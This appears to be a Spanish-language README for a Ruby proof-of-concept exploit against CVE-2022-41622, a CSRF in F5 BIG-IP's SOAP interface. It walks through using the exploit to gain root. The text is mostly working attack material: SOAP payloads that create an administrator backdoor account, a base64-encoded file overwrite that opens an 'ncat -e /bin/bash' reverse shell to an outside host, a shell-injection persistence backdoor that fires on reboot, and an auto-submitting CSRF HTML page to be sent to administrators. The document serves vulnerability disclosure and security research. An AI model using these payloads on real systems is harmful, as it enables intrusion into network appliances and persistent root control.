
Un exploit PoC para CVE-2022-41622 - un CSRF en el plano de control de F5 BIG-IP que conduce a root remoto
Esta es una prueba de concepto para CVE-2022-41622, que es un CSRF en F5 Big-IP que conduce a ejecución remota de código. Usar esto es un poco complicado, pero te guiaré a través de mis casos de uso favoritos.
La vulnerabilidad principal es una falsificación de petición en sitios cruzados (CSRF) en la interfaz SOAP de F5 Big-IP, a la que se accede mediante /iControl/iControlPortal.cgi, que se ejecuta como root. Pero a pesar de ser root, estamos restringidos por una política de SELinux, lo que dificulta la explotación. Sin embargo, mostraremos algunas formas de eludir esta restricción más adelante.
La interfaz SOAP no tiene protección CSRF, lo que significa que un atacante puede aprovechar la sesión de un usuario autenticado para realizar cualquier solicitud SOAP compatible. Se incluye la lista completa de archivos WSDL y hemos creado payloads para algunos de los importantes.
El uso básico es:
ruby f5-soap-exploit.rb <target> <xml_template> [username:password]
username:password es solo para pruebas: toma una cuenta de administrador válida y envía la solicitud SOAP directamente al servidor. Esto no es un exploit ni una PoC, simplemente se usa el endpoint según lo previsto.
Si no proporcionas un username:password, imprimirá un payload CSRF. Para explotar el bug, un administrador autenticado tendrá que visitar un sitio que contenga ese payload. Su navegador será redirigido y la acción ocurrirá en segundo plano.
Ten en cuenta que los payloads reales no son bonitos ni están ocultos de ninguna manera; para explotar esto de verdad, probablemente tendrás que esforzarte un poco.
Los demostraremos usando una cuenta real, pero recuerda que puedes explotar cualquiera de estos usando CSRF.
Este es probablemente el más fácil de explotar. Agrega una cuenta de usuario con una contraseña, y puedes usar esa contraseña para iniciar sesión mediante ssh. También es ruidoso, ¡por supuesto!
(La contraseña predeterminada en el payload es Password1)
$ ruby ./f5-soap-exploit.rb 10.0.0.162 ./templates/add_user.xml admin:Password1
NOTE: You've provided a username and password, which means this is going
to authenticate, and therefore isn't an exploit
Don't enter a username:password if you want to generate a CSRF exploit!
Value for USERNAME [rontest]: mybackdoor
Value for FULLNAME [Ron Test]: My Backdoor
Value for CRYPTSHA512HASH [$6$T2mT4PeYSuyg/hSr$y/rN9tol5t1fRxTBqFVtxLzRfUBXt16yNahqYTaVVZa3PITfoAKBnuzqvwBT77qNBV4JjgwdhzqmsMk78bo6d0]:
Sending the following payload directly to 10.0.0.162...
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:user="urn:iControl:Management/UserManagement" xmlns:so
apenc="http://schemas.xmlsoap.org/soap/encoding/">
<soapenv:Header/>
<soapenv:Body>
<user:create_user_3 soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<users xsi:type="urn:Management.UserManagement.UserInfo3Sequence" soapenc:arrayType="urn:Management.UserManagement.UserInfo3[]" xmlns:urn="urn:iControl">
<item>
<user>
<name>mybackdoor</name>
<full_name>My Backdoor</full_name>
</user>
<password>
<is_encrypted>true</is_encrypted>
<password>$6$T2mT4PeYSuyg/hSr$y/rN9tol5t1fRxTBqFVtxLzRfUBXt16yNahqYTaVVZa3PITfoAKBnuzqvwBT77qNBV4JjgwdhzqmsMk78bo6d0</password>
</password>
<permissions>
<item>
<role>USER_ROLE_ADMINISTRATOR</role>
<partition>[All]</partition>
</item>
</permissions>
<login_shell>/bin/bash</login_shell>
</item>
</users>
</user:create_user_3>
</soapenv:Body>
</soapenv:Envelope>
Response:
<E:Envelope
xmlns:E="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:A="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:s="http://www.w3.org/2001/XMLSchema-instance"
xmlns:y="http://www.w3.org/2001/XMLSchema"
xmlns:iControl="urn:iControl"
E:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<E:Body>
<m:create_user_3Response
xmlns:m="urn:iControl:Management/UserManagement"></m:create_user_3Response>
</E:Body>
</E:Envelope>
$ ssh [email protected]
([email protected]) Password:
([email protected]) You are required to change your password immediately (root enforced)
[...]
[mybackdoor@localhost:NO LICENSE:Standalone] ~ # whoami
root
Encontramos un enlace simbólico en /etc/profile.d que no está cubierto por SELinux:
# ls -l /etc/profile.d/timeout.sh
lrwxrwxrwx. 1 root root 31 Jul 15 02:48 /etc/profile.d/timeout.sh -> ../../var/run/config/timeout.sh
timeout.sh puede ser reemplazado, y la próxima vez que un usuario inicie sesión, cualquier código en él se ejecutará. Ten en cuenta que sobrescribir timeout.sh puede causar problemas; no tengo idea de qué se supone que debe hacer (aunque se restaura al reiniciar).
Reemplazaremos timeout.sh con lo siguiente: básicamente, restaurar el timeout.sh original y luego abrir una shell (también puedes encontrarlo en la carpeta examples/):
# Restore the original file
echo 'IwojIFRISVMgSVMgQU4gQVVUTy1HRU5FUkFURUQgRklMRSAtIERPIE5PVCBFRElUISEhCiMKIyBVc2UgdGhlIHRtc2ggc2hlbGwgdXRpbGl0eSB0byBtYWtlIGNoYW5nZXMgdG8gdGhlIHN5c3RlbSBjb25maWd1cmF0aW9uLgojIEZvciBtb3JlIGluZm9ybWF0aW9uLCBzZWUgdG1zaCAtYSBoZWxwIHN5cyBzc2hkLgpQU09VVD1gL2Jpbi9wcyAtLW5vLWhlYWRlcnMgLW8gdHR5IC0kJGAKaWYgWyAiJHtQU09VVDowOjN9IiA9PSAidHR5IiBdOyB0aGVuCiAgICBleHBvcnQgVE1PVVQ9MAplbHNlCiAgICBleHBvcnQgVE1PVVQ9MApmaQoK' | base64 -d > /etc/profile.d/timeout.sh
# Pop a shell
ncat -e /bin/bash 10.0.0.179 4444
Aquí está la solicitud / respuesta:
$ base64 -w0 < examples/timeout.sh
IyBSZXN0b3JlIHRoZSBvcmlnaW5hbCBmaWxlCmVjaG8gJ0l3b2pJRlJJU1ZNZ1NWTWdRVTRnUVZWVVR5MUhSVTVGVWtGVVJVUWdSa2xNUlNBdElFUlBJRTVQVkNCRlJFbFVJU0VoQ2lNS0l5QlZjMlVnZEdobElIUnRjMmdnYzJobGJHd2dkWFJwYkdsMGVTQjBieUJ0WVd0bElHTm9ZVzVuWlhNZ2RHOGdkR2hsSUhONWMzUmxiU0JqYjI1bWFXZDFjbUYwYVc5dUxnb2pJRVp2Y2lCdGIzSmxJR2x1Wm05eWJXRjBhVzl1TENCelpXVWdkRzF6YUNBdFlTQm9aV3h3SUhONWN5QnpjMmhrTGdwUVUwOVZWRDFnTDJKcGJpOXdjeUF0TFc1dkxXaGxZV1JsY25NZ0xXOGdkSFI1SUMwa0pHQUthV1lnV3lBaUpIdFFVMDlWVkRvd09qTjlJaUE5UFNBaWRIUjVJaUJkT3lCMGFHVnVDaUFnSUNCbGVIQnZjblFnVkUxUFZWUTlNQXBsYkhObENpQWdJQ0JsZUhCdmNuUWdWRTFQVlZROU1BcG1hUW9LJyB8IGJhc2U2NCAtZCA+IC92YXIvcnVuL2NvbmZpZy90aW1lb3V0LnNoCgojIFBvcCBhIHNoZWxsCm5jYXQgLWUgL2Jpbi9iYXNoIDEwLjAuMC4xNzkgNDQ0NAo=
$ ruby ./f5-soap-exploit.rb 10.0.0.162 ./templates/upload_file.xml admin:Password1
NOTE: You've provided a username and password, which means this is going
to authenticate, and therefore isn't an exploit
Don't enter a username:password if you want to generate a CSRF exploit!
Value for FILENAME [/tmp/csrfdemo.txt]: /var/run/config/timeout.sh
Value for BASE64FILEDATA [SGVsbG8gd29ybGQh]: IyBSZXN0b3JlIHRoZSBvcmlnaW5hbCBmaWxlCmVjaG8gJ0l3b2pJRlJJU1ZNZ1NWTWdRVTRnUVZWVVR5MUhSVTVGVWtGVVJVUWdSa2xNUlNBdElFUlBJRTVQVkNCRlJFbFVJU0VoQ2lNS0l5QlZjMlVnZEdobElIUnRjMmdnYzJobGJHd2dkWFJwYkdsMGVTQjBieUJ0WVd0bElHTm9ZVzVuWlhNZ2RHOGdkR2hsSUhONWMzUmxiU0JqYjI1bWFXZDFjbUYwYVc5dUxnb2pJRVp2Y2lCdGIzSmxJR2x1Wm05eWJXRjBhVzl1TENCelpXVWdkRzF6YUNBdFlTQm9aV3h3SUhONWN5QnpjMmhrTGdwUVUwOVZWRDFnTDJKcGJpOXdjeUF0TFc1dkxXaGxZV1JsY25NZ0xXOGdkSFI1SUMwa0pHQUthV1lnV3lBaUpIdFFVMDlWVkRvd09qTjlJaUE5UFNBaWRIUjVJaUJkT3lCMGFHVnVDaUFnSUNCbGVIQnZjblFnVkUxUFZWUTlNQXBsYkhObENpQWdJQ0JsZUhCdmNuUWdWRTFQVlZROU1BcG1hUW9LJyB8IGJhc2U2NCAtZCA+IC92YXIvcnVuL2NvbmZpZy90aW1lb3V0LnNoCgojIFBvcCBhIHNoZWxsCm5jYXQgLWUgL2Jpbi9iYXNoIDEwLjAuMC4xNzkgNDQ0NAo=
Sending the following payload directly to 10.0.0.162...
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:con="urn:iControl:System/ConfigSync">
<soapenv:Header/>
<soapenv:Body>
<con:upload_file soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<file_name xsi:type="xsd:string">/var/run/config/timeout.sh</file_name>
<file_context xsi:type="urn:System.ConfigSync.FileTransferContext" xmlns:urn="urn:iControl">
<!--type: Common.OctetSequence-->
<file_data xsi:type="urn:Common.OctetSequence">IyBSZXN0b3JlIHRoZSBvcmlnaW5hbCBmaWxlCmVjaG8gJ0l3b2pJRlJJU1ZNZ1NWTWdRVTRnUVZWVVR5MUhSVTVGVWtGVVJVUWdSa2xNUlNBdElFUlBJRTVQVkNCRlJFbFVJU0VoQ2lNS0l5QlZjMlVnZEdobElIUnRjMmdnYzJobGJHd2dkWFJwYkdsMGVTQjBieUJ0WVd0bElHTm9ZVzVuWlhNZ2RHOGdkR2hsSUhONWMzUmxiU0JqYjI1bWFXZDFjbUYwYVc5dUxnb2pJRVp2Y2lCdGIzSmxJR2x1Wm05eWJXRjBhVzl1TENCelpXVWdkRzF6YUNBdFlTQm9aV3h3SUhONWN5QnpjMmhrTGdwUVUwOVZWRDFnTDJKcGJpOXdjeUF0TFc1dkxXaGxZV1JsY25NZ0xXOGdkSFI1SUMwa0pHQUthV1lnV3lBaUpIdFFVMDlWVkRvd09qTjlJaUE5UFNBaWRIUjVJaUJkT3lCMGFHVnVDaUFnSUNCbGVIQnZjblFnVkUxUFZWUTlNQXBsYkhObENpQWdJQ0JsZUhCdmNuUWdWRTFQVlZROU1BcG1hUW9LJyB8IGJhc2U2NCAtZCA+IC92YXIvcnVuL2NvbmZpZy90aW1lb3V0LnNoCgojIFBvcCBhIHNoZWxsCm5jYXQgLWUgL2Jpbi9iYXNoIDEwLjAuMC4xNzkgNDQ0NAo=</file_data>
<chain_type xsi:type="urn:Common.FileChainType">FILE_FIRST_AND_LAST</chain_type>
</file_context>
</con:upload_file>
</soapenv:Body>
</soapenv:Envelope>
Response:
<E:Envelope
xmlns:E="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:A="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:s="http://www.w3.org/2001/XMLSchema-instance"
xmlns:y="http://www.w3.org/2001/XMLSchema"
xmlns:iControl="urn:iControl"
E:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<E:Body>
<m:upload_fileResponse
xmlns:m="urn:iControl:System/ConfigSync"></m:upload_fileResponse>
</E:Body>
</E:Envelope>
Luego escuchamos, esperamos a que alguien inicie sesión y obtenemos una shell:
$ nc -v -l -p 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
[..... wait .....]
Ncat: Connection from 10.0.0.162.
Ncat: Connection from 10.0.0.162:38588.
whoami
root
Encontramos una vulnerabilidad de inyección de shell en una herramienta llamada f5_update_checker que se ejecuta como root (y sin restricciones de SELinux) al reiniciar. Si creamos un archivo, /shared/f5_update_action con un archivo de actualización correctamente formateado y un payload de inyección de shell en la línea 2, se ejecutará 2 minutos después del próximo arranque del servidor y luego se eliminará.
Esto sería una gran puerta trasera para persistencia. :)
Aquí hay un ejemplo (también está en la carpeta examples/):
AAA
https://localhost/success`ncat -e /bin/bash 10.0.0.179 4444`
https://localhost/error
0
0
0
0
Codifica como base64 y súbelo usando la plantilla upload_file.xml:
$ base64 -w0 < examples/f5_update_action
QUFBCmh0dHBzOi8vbG9jYWxob3N0L3N1Y2Nlc3NgbmNhdCAtZSAvYmluL2Jhc2ggMTAuMC4wLjE3OSA0NDQ0YApodHRwczovL2xvY2FsaG9zdC9lcnJvcgowCjAKMAowCg==
$ ruby ./f5-soap-exploit.rb 10.0.0.162 ./templates/upload_file.xml admin:Password1
NOTE: You've provided a username and password, which means this is going
to authenticate, and therefore isn't an exploit
Don't enter a username:password if you want to generate a CSRF exploit!
Value for FILENAME [/tmp/csrfdemo.txt]: /shared/f5_update_action
Value for BASE64FILEDATA [SGVsbG8gd29ybGQh]: QUFBCmh0dHBzOi8vbG9jYWxob3N0L3N1Y2Nlc3NgbmNhdCAtZSAvYmluL2Jhc2ggMTAuMC4wLjE3OSA0NDQ0YApodHRwczovL2xvY2FsaG9zdC9lcnJvcgowCjAKMAowCg==
Sending the following payload directly to 10.0.0.162...
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:con="urn:iControl:System/ConfigSync">
<soapenv:Header/>
<soapenv:Body>
<con:upload_file soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<file_name xsi:type="xsd:string">/shared/f5_update_action</file_name>
<file_context xsi:type="urn:System.ConfigSync.FileTransferContext" xmlns:urn="urn:iControl">
<!--type: Common.OctetSequence-->
<file_data xsi:type="urn:Common.OctetSequence">QUFBCmh0dHBzOi8vbG9jYWxob3N0L3N1Y2Nlc3NgbmNhdCAtZSAvYmluL2Jhc2ggMTAuMC4wLjE3OSA0NDQ0YApodHRwczovL2xvY2FsaG9zdC9lcnJvcgowCjAKMAowCg==</file_data>
<chain_type xsi:type="urn:Common.FileChainType">FILE_FIRST_AND_LAST</chain_type>
</file_context>
</con:upload_file>
</soapenv:Body>
</soapenv:Envelope>
Response:
<E:Envelope
xmlns:E="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:A="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:s="http://www.w3.org/2001/XMLSchema-instance"
xmlns:y="http://www.w3.org/2001/XMLSchema"
xmlns:iControl="urn:iControl"
E:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<E:Body>
<m:upload_fileResponse
xmlns:m="urn:iControl:System/ConfigSync"></m:upload_fileResponse>
</E:Body>
</E:Envelope>
Crea un listener y luego espera un reinicio:
ron@fedora ~ $ nc -v -l -p 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
[...... wait ......]
Ncat: Connection from 10.0.0.162.
Ncat: Connection from 10.0.0.162:55634.
whoami
root
Puedes ejecutar tail en /var/log/f5_update_checker.out después de reiniciar para asegurarte de que funcionó (obviamente esto solo funciona si ya tienes acceso al host):
# cat /var/log/f5_update_checker.out
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback utility started
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: Searching for EM callback file "/shared/f5_update_action"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file found -- parsing
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file action: "AAA"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file success URL: "https://localhost/success`ncat -e /bin/bash 10.0.0.179 4444`"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file failure URL: "https://localhost/error"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file rebootOnSuccess flag: "8"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file rebootOnSuccess slot: "0"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file rebootOnFailure flag: "0"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file rebootOnFailure slot: "0"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: Executing EM action: AAA
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: Sleeping for 2 minutes before first attempt.
Los ejemplos anteriores muestran cómo ejecutar endpoints SOAP con una cuenta, pero obviamente eso no es realmente un exploit. ¡Echemos un vistazo a cómo se ve un payload CSRF!
Usaremos el mismo ejemplo de agregar un usuario que arriba, pero sin una cuenta:
$ ruby ./f5-soap-exploit.rb 10.0.0.162 ./templates/add_user.xml > examples/csrf-adduser-payload.html
Value for USERNAME [rontest]: csrfdemo2
Value for FULLNAME [Ron Test]: CSRF Demo
Value for CRYPTSHA512HASH [$6$T2mT4PeYSuyg/hSr$y/rN9tol5t1fRxTBqFVtxLzRfUBXt16yNahqYTaVVZa3PITfoAKBnuzqvwBT77qNBV4JjgwdhzqmsMk78bo6d0]:
$ cat examples/csrf-adduser-payload.html
<form id="form" method="post" action="https://10.0.0.162/iControl/iControlPortal.cgi" enctype="text/plain">
<textarea id="payload" name="<!--">--><soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:user="urn:iControl:Management/UserManagement" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
<soapenv:Header/>
<soapenv:Body>
<user:create_user_3 soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<users xsi:type="urn:Management.UserManagement.UserInfo3Sequence" soapenc:arrayType="urn:Management.UserManagement.UserInfo3[]" xmlns:urn="urn:iControl">
<item>
<user>
<name>csrfdemo2</name>
<full_name>CSRF Demo</full_name>
</user>
<password>
<is_encrypted>true</is_encrypted>
<password>$6$T2mT4PeYSuyg/hSr$y/rN9tol5t1fRxTBqFVtxLzRfUBXt16yNahqYTaVVZa3PITfoAKBnuzqvwBT77qNBV4JjgwdhzqmsMk78bo6d0</password>
</password>
<permissions>
<item>
<role>USER_ROLE_ADMINISTRATOR</role>
<partition>[All]</partition>
</item>
</permissions>
<login_shell>/bin/bash</login_shell>
</item>
</users>
</user:create_user_3>
</soapenv:Body>
</soapenv:Envelope>
</textarea>
<input type=submit>
</form>
<script>
setTimeout(function() {
document.getElementById("form").submit();
}, 1000);
</script>
Sirve ese archivo HTML en algún lugar y envía un enlace a un administrador. Cuando el administrador visite ese enlace, su navegador redirigirá y accederá a la API SOAP usando un payload CSRF típico.
$ python -m http.server -d examples/
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
[..... waiting .....]
127.0.0.1 - - [19/Oct/2022 11:07:57] "GET /csrf-adduser-payload.html HTTP/1.1" 200 -
127.0.0.1 - - [19/Oct/2022 11:07:58] code 404, message File not found
127.0.0.1 - - [19/Oct/2022 11:07:58] "GET /favicon.ico HTTP/1.1" 404 -
^C
$ ssh [email protected]
([email protected]) Password:
([email protected]) You are required to change your password immediately (root enforced)
Changing password for csrfdemo2.
(current) BIG-IP password:
([email protected]) New BIG-IP password:
([email protected]) Retype new BIG-IP password:
Last login: Wed Oct 19 11:00:43 2022 from 10.0.0.179
[csrfdemo2@localhost:NO LICENSE:Standalone] ~ # whoami
root
Esto obviamente no intenta ocultarse de ninguna manera; ¡puedes mejorar mucho el payload CSRF!